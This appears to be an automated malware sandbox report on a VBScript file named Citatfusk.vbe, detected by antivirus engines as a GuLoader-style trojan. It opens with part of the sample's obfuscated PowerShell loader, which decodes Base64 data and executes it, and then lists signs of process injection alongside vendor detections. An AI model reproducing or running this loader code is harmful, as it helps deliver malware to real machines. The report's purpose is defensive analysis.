egEleklSandoBombb F,naStatlNopl: SkyD ProiInt,cA tehChierGaaroHyremTegna Bles assyCoun ,ini=Dec. Kat.[ViolSDeroyOctosAarhtOv remik.m Per.RascCPseuoOvern,okavLitee BrurL ndt Ov ]Taag:Savo:PhosFHeavr T doBrotmForhBAngeakitcsmap erel,6 Una4BlooSBenztVuggrafpaiA.sknInteg Dor(turb$Vi iDBr vrOndsaGenum MakaNonrtSyn.iDonoc ouaLowelU.rilSeruyBydr)E.ma ');Ruths (Forhandlingsleders 'Kolo$Roy.GTidsL Ko.OBlgeB CurAPomplSang:L thF Wi,oDo rd J cB emoaProsLSvigLSki EToxiRTentNDrnieChecsK,nf2gest2,ing1Prea liv=Nonm Ina[CabbSb,svyOpklSTy iTP zoeKo jmFang. ExpT Sr ESukkxTnksT upe.ta keSkimnIdercAffio S jdLeucI DisNOpprG.ice]Sabb: is:Rolia Pu sPsalCOpeniJus I Cat.AreoGAdjoeels.t ,acSHeltTAgg,RsammIBoldnNoc gFunk(Gent$SprndBrstIsvamCAlkahPhotR GhaoSkrim.ermAEl.eS elmyUnd,),nse ');Ruths (Forhandlingsleders 'Fn k$KodaGadellSomaOH vtb C saTranlTvrf:k akKCanoaElecn ,iffDediL SegEEft.nOverDjewdeInd.SIn e= Rej$Gresf resoUnprd loB LinAD ciL C nlBillEWeatrTo uN ksiEBalks Oms2glot2Kuru1 T,a. Kars nfuFor bBackSTapiTCoquRBo aiEjenNT.anga te(Nege$OpbymReopAPiggdAconAFor.nGratNPraxo brNHeatCLaveE VarnCowesTone,omk.$ TamOFainu Fy.tSig b imoL OpvOShogtSilitKrseeSlagD Pix)Phyl ');Ruths $Kanflendes;"

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1460 resumed a thread in remote process 2160
Process injection	Process 2160 resumed a thread in remote process 2580
NtResumeThread Nov. 11, 2024, 10:02 a.m.	thread_handle: 0x0000028c suspend_count: 1 process_identifier: 2160	1	0	0
NtResumeThread Nov. 11, 2024, 10:02 a.m.	thread_handle: 0x0000033c suspend_count: 1 process_identifier: 2580	1	0	0

Uses Sysinternals tools in order to add additional command line functionality (2 events)

cmdline

File has been identified by 20 AntiVirus engines on VirusTotal as malicious (20 events)

Lionic	Trojan.Script.Generic.4!c
CTX	vba.trojan.generic
ALYac	Trojan.Generic.36968459
VIPRE	Trojan.Generic.36968459
Arcabit	Trojan.Generic.D234180B
Symantec	Trojan.Gen.NPE
ESET-NOD32	VBS/Agent.SLV
Avast	Script:SNH-gen [Trj]
Kaspersky	HEUR:Trojan.PowerShell.Generic
BitDefender	Trojan.Generic.36968459
MicroWorld-eScan	Trojan.Generic.36968459
Rising	Trojan.Agent/VBS!8.11E09 (TOPIS:E0:SZBGhpgCqzM)
Emsisoft	Trojan.Generic.36968459 (B)
Ikarus	Trojan.VBS.Agent
FireEye	Trojan.Generic.36968459
Google	Detected
GData	Trojan.Generic.36968459
Tencent	Win32.Trojan.Generic.Mjgl
huorong	Trojan/VBS.GuLoader.m
AVG	Script:SNH-gen [Trj]

The process wscript.exe wrote an executable file to disk which it then attempted to execute (2 events)

file	C:\Windows\SysWOW64\wscript.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Citatfusk.vbe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All